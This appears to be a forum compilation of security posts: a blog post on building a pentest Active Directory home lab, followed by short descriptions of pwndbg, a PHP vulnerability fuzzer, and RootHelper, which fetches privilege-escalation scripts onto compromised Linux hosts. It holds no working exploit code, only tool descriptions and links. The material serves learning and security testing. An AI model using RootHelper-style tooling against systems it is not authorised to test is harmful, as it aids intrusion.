I'll give an overview of each option, but the decision will likely be influenced by what hardware you having lying around, how much you want to spend up front, and how much you will be using your lab. In the end, you might even want to try more than one option, as they all have distinct benefits. Cloud Based Often, building a home lab using dedicated hardware is cost prohibitive. In addition to hardware costs, if you add windows licensing costs, a traditional home lab can get really expensive. The good news is these days you don't need to buy any hardware or software (OS). You can build your lab using AWS, Azure, Google, etc. In addition to not having to purchase hardware, another major advantage of building your lab in the cloud is that the Windows licensing costs are built into your hourly rate (at least for AWS -- I'm not as familiar with Azure or Google). Pros Hardware No hardware purchases OS Licensing No Windows OS software purchases No expiring Windows eval licenses Hourly Pricing You only pay for the time you use the lab machines Education You will learn a lot about the cloud stack you are building on Cons Cost Leaving your instances running gets pretty expensive. Four windows servers (t2.micro) running 24/7 will put you at around 45 bucks a month Keeping track of instances If you don't want them running all the time, you will have to remember to shut down instances when not in use or configure CloudWatch to do that for you You can't pause instances In AWS at least, you can't pause VMs like you can with virtualization software. This is pretty annoying if you are used to pausing your VM's at the end of each session and picking up where you left off Limited Windows OS Support No Windows 7/8/10 images (might be AWS specific) Some testing activities need to be approved You'll have to notify the cloud provider if you want to attack your instances from outside your virtual private cloud (VPC) AWS Math AWS can be cheap, or it can get very expensive, depending on how you use it. The key here is to think about how much you will be using your lab. If you think you will play in your lab around 3 hours a night about 10 nights a month, AWS makes a lot of sense. If you are going to be running your hosts permanently, it will probably be more cost effective to run your lab on premises. Here are some cost estimations using AWS's cost estimator: 2 Windows instances, 1 Kali instance 4 Windows instances, 1 Kali instance As you can see, the difference is pretty extreme. Remember to turn off those instances when not in use! One caveat with building your lab entirely in the cloud, at least with AWS, is that AWS does not offer an AMI for Windows 7/8/10. While it appears possible to use your own Windows7/8/10 image, now you are back to either using eval licenses or paying for them. While doing research for this blog series, I came across something called AWS workspaces, and even that does not use 7/8/10. It simulates a desktop environment using Microsoft's Desktop Experience via Windows Server 2012. After playing around with Amazon Workspaces, I realized it is not the best option for a pentest lab due to monthly costs ($7 per month per workstation), but I did learn you don't really NEED Windows 7/8/10 in your pentest home lab to do most of what we will want to do, which was a good lesson. In an upcoming post, I will write in detail about Building your AD lab on AWS. On Premises If you are going to build the lab on your own hardware, the next decision you need to make is: Do I use dedicated hardware and a hypervisor, or do I run software that sits on top of my host OS like VMware Workstaion Pro, Workstation Player, VMware Fusion (Mac), or Virtualbox? Using your Desktop/Laptop If you have a desktop/laptop that has plenty of resources to spare, there is no reason you can't set this entire environment up on your OS of choice using either VMware or VirtualBox. On my laptop, I use VMware Workstation and have a test domain with 1 domain controller, 1 additional Windows server, and 1 Windows7 host. With a 1TB HDD and 16GB of RAM, I can run all three if I need to, and Kali at the same time. If you can swing 32GB and a bigger SSD, that would give you even more flexibility. As I mentioned in the cons above, you might be limited. My current laptop can't take more than 16GB. Pros Mobility Take your lab with you wherever you go (if you have a laptop) Easy entry You probably already have a Desktop/Laptop that you can use Free Options VirtualBox and VMware Workstation Player are free Cons Cost VMware Workstation Pro (windows) and VMware Fusion (mac) are not free Hardware Limitations Your current desktop/laptop might be limited in how much memory you can add to it Shared Resourcing You are competing for shared resources on your host OS. This might not be acceptable Every time you need to reboot your host OS, you have to stop/pause all of your VMs Using a Hypervisor Most penetration testers that I know still keep it traditional and use dedicated hardware combined with a Hypervisor for their home lab. There are plenty of great articles that talk about hardware requirements and options. I have friends who prefer to go the route of buying old enterprise software on ebay, but I have always just used consumer hardware. Either way, between the RAM and fast disks, it can get expensive. On my server, I have an AMD 8 core chip circa 2015, and I just upgraded from 16 to 32GB of RAM, and from a 512 SSD to a 1TB SSD. If you can afford it, avoid the mistake I made and just go right to 32RAM and a 1TB SSD. That will give you more than enough room to grow your lab, make templates, take lots of snapshots, etc. Pros Flexibility With dedicated hardware, you can isolate the lab on it's own network, VLAN, etc. Software cost There are plenty of free options when it comes to Hypervisors Options You can take advantage of things like KVM, containers, and thin provisioning Portability If you use something small like an Intel NUC, your lab can be portable Cons Energy Inefficient The last thing anyone who reads this post needs is yet another computer running 24/7 Cost Unless you have something laying around already, you'll have to buy new hardware Vendor Specific Knowledge Do you have the time and desire to learn all of the hypervisor specific troubleshooting commands when something breaks? Great Home Lab Resources Home Lab Design by Carlos Perez My new home lab setup by Carlos Perez Building an Effective Active Directory Lab Environment for Testing by Sean Metcalf Intel NUC Super Server by Mubix Over the years I've played with a few of the popular Hypervisors, and here are my thoughts: Vmware ESXi - My first lab was ESXi. If you've never used it, I recommend using this as your Hypervisor if for no other reason than it is ubiquitous in the enterprise. You will find ESX on every internal pentest, and having experience with it from your home lab will help you one day. Citrix Xen - Eventually my ESX hard drive failed. After reading this post by Mubix, when I rebuilt, I tried Citrix's Xen Server. I liked Xen, but I quickly ran out of space on my 512G SSD, and when I added a second drive it started to freak out. The amount of custom Xen commands I had to learn was getting out of control, and I didn't feel like the experience was going to help me all that much so I pulled the plug and looked for something new. Proxmox VE - For my third iteration, I'm using Proxmox VE, after my friend @mikehacksthings gave a presentation on it at a recent @IthacaSec meeting. I really like it! Thin provisioning means it uses a lot less resources, and it seems lightning fast compared to ESXi and Xen. It definitely has my stamp of approval so far. In an upcoming post, I'm going to write in detail about building your AD lab on premises using Proxmox. Getting Windows Server Software If you are going to build your lab in the cloud, you can just relax and skip this section. If you are going to build on premises, you will need to get your hands on the following software: Required - Windows Server (2012 or 2016) Optional - Windows 7 (or 8 or 10) In terms of getting the software, there are a few options: Download evaluation versions, which are good for 180 days. See if your workplace has a key/iso that can be used in a lab environment. Go with a cloud solution like AWS or Azure where the licensing costs are built into your hourly rate. I think if you are a student you can get the OS's for free. For more detail on these options, check out Sean Metcalf''s blog post: Building an Effective Active Directory Lab Environment for Testing. You will also notice that Sean gives some really useful breakdowns of what he feels you need in an AD lab. I'm going to keep this series more basic than that, but I encourage you to read his post. Let's create a Domain Once you have selected your virtualization stack, it is time to configure it. The following two posts take you through setting up two AD Lab environments. One in the cloud using AWS, and another on premises using Proxmox VE. Pentest Home Lab - 0x1 - Building Your AD Lab on AWS Pentest Home Lab - 0x2 - Building Your AD Lab on Premises (Coming Soon) Wrap-Up Feedback, suggestions, corrections, and questions are welcome! Posted by Seth Art at 5:32 PM Sursa: https://sethsec.blogspot.ro/2017/05/pentest-home-lab-0x0-building-virtual.html

pwndbg pwndbg (/poʊndbæg/) is a GDB plug-in that makes debugging with GDB suck less, with a focus on features needed by low-level software developers, hardware hackers, reverse-engineers and exploit developers. It has a boatload of features, see FEATURES.md. Why? Vanilla GDB is terrible to use for reverse engineering and exploit development. Typing x/g30x $esp is not fun, and does not confer much information. The year is 2016 and GDB still lacks a hexdump command. GDB's syntax is arcane and difficult to approach. Windbg users are completely lost when they occasionally need to bump into GDB. What? Pwndbg is a Python module which is loaded directly into GDB, and provides a suite of utilities and crutches to hack around all of the cruft that is GDB and smooth out the rough edges. Many other projects from the past (e.g., gdbinit, PEDA) and present (e.g. GEF) exist to fill some these gaps. Unfortunately, they're all either unmaintained, unmaintainable, or not well suited to easily navigating the code to hack in new features (respectively). Pwndbg exists not only to replace all of its predecessors, but also to have a clean implementation that runs quickly and is resilient against all the weird corner cases that come up. How? Installation is straightforward. Pwndbg is best supported on Ubuntu 14.04 with GDB 7.7, and Ubuntu 16.04 with GDB 7.11. git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh If you use any other Linux distribution, we recommend using the latest available GDB built from source. Be sure to pass --with-python=/path/to/python to configure. What can I do with that? For further info about features/functionalities, see FEATURES. Who? Most of Pwndbg was written by Zach Riggle, with many other contributors offering up patches via Pull Requests. Want to help with development? Read CONTRIBUTING. Contact If you have any questions not worthy of a bug report, feel free to ping ebeip90 at #pwndbg on Freenode and ask away. Click here to connect. Link: https://github.com/pwndbg/pwndbg

PHP Vulnerability Hunter Overview Overview | Screenshots | Guide | Download | Change Log PHP Vulnerability Hunter is an advanced whitebox PHP web application fuzzer that scans for several different classes of vulnerabilities via static and dynamic analysis. By instrumenting application code, PHP Vulnerability Hunter is able to achieve greater code coverage and uncover more bugs. Key Features Automated Input Mapping While most web application fuzzers rely on the user to specify application inputs, PHP vulnerability hunter uses a combination of static and dynamic analysis to automatically map the target application. Because it works by instrumenting application, PHP Vulnerability Hunter can detected inputs that are not referenced in the forms of the rendered page. Several Scan Modes PHP Vulnerability Hunter is aware of many different types of vulnerabilities found in PHP applications, from the most common such as cross-site scripting and local file inclusion to the lesser known, such as user controlled function invocation and class instantiation. PHP Vulnerability Hunter can detect the following classes of vulnerabilities: Arbitrary command execution Arbitrary file read/write/change/rename/delete Local file inclusion Arbitrary PHP execution SQL injection User controlled function invocatino User controlled class instantiation Reflected cross-site scripting (XSS) Open redirect Full path disclosure Code Coverage Get measurements of how much code was executed during a scan, broken down by scan plugin and page. Code coverage can be calculated at either the function level or the code block level. Scan Phases Initialization Phase During this phase, interesting function calls within each code file are hooked, and if code coverage is enabled the code is annotated. Static analysis is performed on the code to detect inputs. Scan Phase This is where the bugs are uncovered. PHP Vulnerability Hunter iterates through its different scan plugins and plugin modes, scanning every file within the targeted application. Each time a page is requested, dynamic analysis is performed to discover new inputs and bugs. Uninitialization Once the scan phase is complete, all of the application files are restored from backups made during the initialization phase. Link: https://www.autosectools.com/PHP-Vulnerability-Scanner

RootHelper Roothelper will aid in the process of privilege escalation on a Linux system that has been compromised, by fetching a number of enumeration and exploit suggestion scripts. The latest version downloads five scripts. Two enumeration shellscripts, one information gathering shellscript and two exploit suggesters, one written in perl and the other one in python. The credits for the scripts it fetches go to the original authors. Note I've recently added a new script to my Github that follows the general principles of this script however it aims to be more comprehensive with regards to it's capabilities. Besides downloading scripts that aid in privilege escalation on a Linux system it also comes with functionality to enumerate the system in question and search for cleartext credentials and much more. It is in many regards RootHelper's successor and it can be found by clicking here. Priv-Esc scripts LinEnum Shellscript that enumerates the system configuration. unix-privesc-check Shellscript that enumerates the system configuration and runs some privilege escalation checks as well. Firmwalker Shellscript that gathers useful information by searching the mounted firmware filesystem. For things such as SSL and web server related files, config files, passwords, common binaries and more. linuxprivchecker A python implementation to suggest exploits particular to the system that's been compromised. Linux_Exploit_Suggester A perl script that that does the same as the one mentioned above. Usage To use the script you will need to get it on the system you've compromised, from there you can simply run it and it will show you the options available and an informational message regarding the options. For clarity i will post it below as well. The 'Help' option displays this informational message. The 'Download' option fetches the relevant files and places them in the /tmp/ directory. The option 'Download and unzip' downloads all files and extracts the contents of zip archives to their individual subdirectories respectively, please note; if the 'mkdir' command is unavailable however, the operation will not succeed and the 'Download' option should be used instead The 'Clean up' option removes all downloaded files and 'Quit' exits roothelper. Credits for the other scripts go to their original authors. https://github.com/rebootuser/LinEnum https://github.com/PenturaLabs/Linux_Exploit_Suggester http://www.securitysift.com/download/linuxprivchecker.py https://github.com/pentestmonkey/unix-privesc-check https://github.com/craigz28/firmwalker Link: https://github.com/NullArray/RootHelper